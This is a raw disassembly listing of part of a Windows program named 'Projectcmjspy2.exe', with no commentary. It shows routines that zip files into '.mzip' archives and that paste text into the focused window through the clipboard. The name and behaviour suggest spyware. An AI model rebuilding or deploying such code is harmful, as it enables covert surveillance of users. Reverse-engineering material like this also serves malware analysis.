mov word [ebp - 0x41c], 0x770
mov eax, dword [ebp - 0x33c]
call fcn.00496160
lea eax, [ebp - 0x33c]
call fcn.00401de4
push eax
mov word [ebp - 0x41c], 0x794
lea eax, [ebp - 0x388]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, 0x49a1d6
lea eax, [ebp - 0x384]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x384]
mov eax, dword [ebp - 0x430]
add eax, 0x3c4
pop ecx
call fcn.004963e8
lea eax, [ebp - 0x388]
call fcn.00401de4
push eax
call sym.Projectcmjspy2.exe_cmjZip
dec dword [ebp - 0x410]
lea eax, [ebp - 0x388]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x384]
mov edx, 2
call fcn.00496390
push 0
mov word [ebp - 0x41c], 0x7a0
lea eax, [ebp - 0x390]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, 0x49a1df
lea eax, [ebp - 0x38c]
call fcn.004961ec
mov edx, eax
inc dword [ebp - 0x410]
mov eax, dword [ebp - 0x430]
add eax, 0x3d4
pop ecx
call fcn.004963e8
lea edx, [ebp - 0x390]
push edx
lea eax, [ebp - 0x398]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
lea eax, [ebp - 0x394]
mov edx, dword [str..mzip]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x394]
pop ecx
pop eax
call fcn.004963e8
lea eax, [ebp - 0x398]
push dword [eax]
push dword [ebp - 0x33c]
mov edx, dword [ebp - 0x430]
push dword [edx + 0x344]
call fcn.004147b0
add esp, 0x10
dec dword [ebp - 0x410]
lea eax, [ebp - 0x398]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x394]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x390]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x38c]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x33c]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
push 2
lea ecx, [ebp - 0x338]
push ecx
call fcn.00412058
add esp, 8
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
mov word [ebp - 0x41c], 0x7b8
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x39c]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
mov word [ebp - 0x41c], 0x7ac
mov word [ebp - 0x41c], 0x7c4
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x3a0]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
mov word [ebp - 0x41c], 0x7ac
mov word [ebp - 0x41c], 0x7d0
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x3c0]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x3c0]
mov eax, dword [eax]
call fcn.0043989c
test eax, eax
setne dl
and edx, 1
mov byte [ebp - 0x4bd], dl
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3c0]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x7ac
mov cl, byte [ebp - 0x4bd]
push ecx
lea eax, [ebp - 0x3a0]
call fcn.00401de4
push eax
lea eax, [ebp - 0x39c]
call fcn.00401de4
push eax
mov edx, dword [ebp - 0x430]
add edx, 0x378
push edx
call fcn.00415acc
add esp, 0x10
lea ecx, [ebp - 0xc]
push ecx
call fcn.00406254
pop ecx
mov eax, dword [ebp - 0x430]
add eax, 0x3c8
push eax
lea edx, [ebp - 0xc]
push edx
call fcn.00407ab8
add esp, 8
mov word [ebp - 0x41c], 0x7dc
lea ecx, [ebp - 0x3ac]
push ecx
call fcn.00405458
pop ecx
add dword [ebp - 0x410], 2
mov word [ebp - 0x41c], 0x7ac
mov byte [ebp - 0x3ac], 0xc4
mov eax, dword [ebp - 0x430]
add eax, 0x378
push eax
call fcn.00415968
pop ecx
test eax, eax
jne 0x40df7c
mov word [ebp - 0x41c], 0x7e8
mov edx, 0x49a1e8
lea eax, [ebp - 0x3c4]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x3c4]
push edx
lea ecx, [ebp - 0x3ac]
push ecx
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3c4]
mov edx, 2
call fcn.00496390
lea edx, [ebp - 0x3ac]
mov eax, dword [ebp - 0x430]
call fcn.00405a20
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3a8]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3a0]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x39c]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x42c]
mov dword fs:[0], ecx
jmp 0x40e781
lea edx, [ebp - 0x3ac]
mov eax, dword [ebp - 0x430]
call fcn.00405a20
xor ecx, ecx
mov dword [ebp - 0x4c4], ecx
mov word [ebp - 0x41c], 0x7ac
jmp 0x40e14e
mov word [ebp - 0x41c], 0x7f4
push dword [ebp - 0x4c4]
mov eax, dword [ebp - 0x430]
add eax, 0x378
push eax
call fcn.00415978
add esp, 8
call fcn.00401de4
mov edx, eax
lea eax, [ebp - 0x3c8]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x3c8]
push edx
lea ecx, [ebp - 0xc]
push ecx
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3c8]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x800
lea eax, [ebp - 0x3cc]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
push dword [ebp - 0x4c4]
mov edx, dword [ebp - 0x430]
add edx, 0x378
push edx
call fcn.00415978
add esp, 8
mov eax, dword [eax + 4]
shr eax, 0xa
pop edx
call fcn.00409070
lea ecx, [ebp - 0x3cc]
push ecx
lea eax, [ebp - 0xc]
push eax
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3cc]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x80c
push dword [ebp - 0x4c4]
mov ecx, dword [ebp - 0x430]
add ecx, 0x378
push ecx
call fcn.00415978
add esp, 8
mov eax, dword [eax]
call fcn.00439a8c
push eax
lea eax, [ebp - 0x3d0]
call fcn.00401800
mov edx, eax
inc dword [ebp - 0x410]
pop eax
call fcn.004397fc
lea edx, [ebp - 0x3d0]
push edx
lea ecx, [ebp - 0xc]
push ecx
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3d0]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x818
lea eax, [ebp - 0x3d4]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
push dword [ebp - 0x4c4]
mov edx, dword [ebp - 0x430]
add edx, 0x378
push edx
call fcn.00415978
add esp, 8
mov eax, dword [eax + 8]
pop edx
call fcn.00409070
lea ecx, [ebp - 0x3d4]
push ecx
lea eax, [ebp - 0xc]
push eax
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3d4]
mov edx, 2
call fcn.00496390
inc dword [ebp - 0x4c4]
mov ecx, dword [ebp - 0x430]
add ecx, 0x378
push ecx
call fcn.00415968
pop ecx
cmp eax, dword [ebp - 0x4c4]
ja 0x40dfa3
mov word [ebp - 0x41c], 0x824
push 2
push 0x40000000
lea eax, [ebp - 0x3dc]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, 0x49a1ea
lea eax, [ebp - 0x3d8]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x3d8]
mov eax, dword [ebp - 0x430]
add eax, 0x3c4
pop ecx
call fcn.004963e8
lea eax, [ebp - 0x3dc]
call fcn.00401de4
push eax
lea edx, [ebp - 0x3b8]
push edx
call fcn.00411f84
add esp, 0x10
inc dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3dc]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3d8]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x7ac
lea eax, [ebp - 8]
call fcn.00401a2c
push eax
lea eax, [ebp - 8]
call fcn.00401de4
push eax
lea edx, [ebp - 0x3b8]
push edx
call fcn.00412010
add esp, 0xc
lea ecx, [ebp - 0x3b8]
push ecx
call fcn.004120d0
pop ecx
mov word [ebp - 0x41c], 0x830
lea eax, [ebp - 0x3e4]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, 0x49a1f3
lea eax, [ebp - 0x3e0]
call fcn.004961ec
mov edx, eax
inc dword [ebp - 0x410]
mov eax, dword [ebp - 0x430]
add eax, 0x3c4
pop ecx
call fcn.004963e8
lea edx, [ebp - 0x3e4]
push edx
lea eax, [ebp - 0x3bc]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
lea eax, [ebp - 0x3e8]
mov edx, dword [str..mzip]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x3e8]
pop ecx
pop eax
call fcn.004963e8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3e8]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3e4]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3e0]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x7ac
mov eax, dword [ebp - 0x3bc]
call fcn.00496160
lea eax, [ebp - 0x3bc]
call fcn.00401de4
push eax
mov word [ebp - 0x41c], 0x83c
lea eax, [ebp - 0x3f0]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, 0x49a1fc
lea eax, [ebp - 0x3ec]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x3ec]
mov eax, dword [ebp - 0x430]
add eax, 0x3c4
pop ecx
call fcn.004963e8
lea eax, [ebp - 0x3f0]
call fcn.00401de4
push eax
call sym.Projectcmjspy2.exe_cmjZip
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3f0]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3ec]
mov edx, 2
call fcn.00496390
push 0
mov word [ebp - 0x41c], 0x848
lea eax, [ebp - 0x3f8]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, str.file.dir
lea eax, [ebp - 0x3f4]
call fcn.004961ec
mov edx, eax
inc dword [ebp - 0x410]
mov eax, dword [ebp - 0x430]
add eax, 0x3d4
pop ecx
call fcn.004963e8
lea edx, [ebp - 0x3f8]
push edx
lea eax, [ebp - 0x400]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
lea eax, [ebp - 0x3fc]
mov edx, dword [str..mzip]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x3fc]
pop ecx
pop eax
call fcn.004963e8
lea eax, [ebp - 0x400]
push dword [eax]
push dword [ebp - 0x3bc]
mov edx, dword [ebp - 0x430]
push dword [edx + 0x344]
call fcn.004147b0
add esp, 0x10
dec dword [ebp - 0x410]
lea eax, [ebp - 0x400]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3fc]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3f8]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3f4]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3bc]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
push 2
lea ecx, [ebp - 0x3b8]
push ecx
call fcn.00412058
add esp, 8
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3a8]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x3a0]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x39c]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
call sub.USER32.DLL_GetFocus
mov dword [ebp - 0x4c8], eax
mov word [ebp - 0x41c], 0x14
cmp dword [ebp - 0x4c8], 0
jne 0x40e570
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x42c]
mov dword fs:[0], ecx
jmp 0x40e781
push 0
call sub.USER32.DLL_OpenClipboard
mov word [ebp - 0x41c], 0x860
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x404]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
mov word [ebp - 0x41c], 0x854
call sub.USER32.DLL_EmptyClipboard
lea eax, [ebp - 0x404]
call fcn.00401a2c
inc eax
push eax
push 0x2000
call sub.KERNEL32.DLL_GlobalAlloc
mov dword [ebp - 0x4cc], eax
push dword [ebp - 0x4cc]
call sub.KERNEL32.DLL_GlobalLock
mov dword [ebp - 0x4d0], eax
lea eax, [ebp - 0x404]
call fcn.00401de4
push eax
push dword [ebp - 0x4d0]
call fcn.00486ddc
add esp, 8
push dword [ebp - 0x4cc]
call sub.KERNEL32.DLL_GlobalUnlock
push dword [ebp - 0x4cc]
push 1
call sub.USER32.DLL_SetClipboardData
call sub.USER32.DLL_CloseClipboard
push 0
push 0
push 0x302
push dword [ebp - 0x4c8]
call sub.USER32.DLL_SendMessageA
dec dword [ebp - 0x410]
lea eax, [ebp - 0x404]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
push 3
mov ecx, dword [ebp - 0x430]
push dword [ecx + 0x348]
call fcn.00416eec
add esp, 8
mov eax, dword [ebp - 0x430]
xor edx, edx
mov dword [eax + 0x348], edx
mov ecx, dword [ebp - 0x430]
cmp dword [ecx + 0x348], 0
jne 0x40e6d4
push 0x20
call fcn.00485e3c
pop ecx
mov dword [ebp - 0x408], eax
test eax, eax
je 0x40e6c2
mov word [ebp - 0x41c], 0x878
mov eax, dword [ebp - 0x430]
call fcn.00480b84
push eax
push dword [ebp - 0x408]
call fcn.00416e9c
add esp, 8
mov word [ebp - 0x41c], 0x86c
mov edx, dword [ebp - 0x408]
jmp 0x40e6c8
mov edx, dword [ebp - 0x408]
mov eax, dword [ebp - 0x430]
mov dword [eax + 0x348], edx
mov ecx, dword [ebp - 0x430]
mov dword [ecx + 0x350], 1
mov eax, dword [ebp - 0x430]
mov byte [eax + 0x367], 0
push 1
mov edx, dword [ebp - 0x430]
push dword [edx + 0x348]
call fcn.00416dbc
add esp, 8
mov ecx, dword [ebp - 0x430]
mov al, byte [ecx + 0x367]
push eax
mov edx, dword [ebp - 0x430]
push dword [edx + 0x348]
call fcn.00416f18
add esp, 8
jmp case.0x409fb9.108
mov ecx, dword [ebp - 0x430]
mov dword [ecx + 0x350], 0xffffffff
mov eax, dword [ebp - 0x430]
cmp dword [eax + 0x348], 0
je case.0x409fb9.108
mov edx, dword [ebp - 0x430]
push dword [edx + 0x348]
call fcn.00416d24
pop ecx
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x42c]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret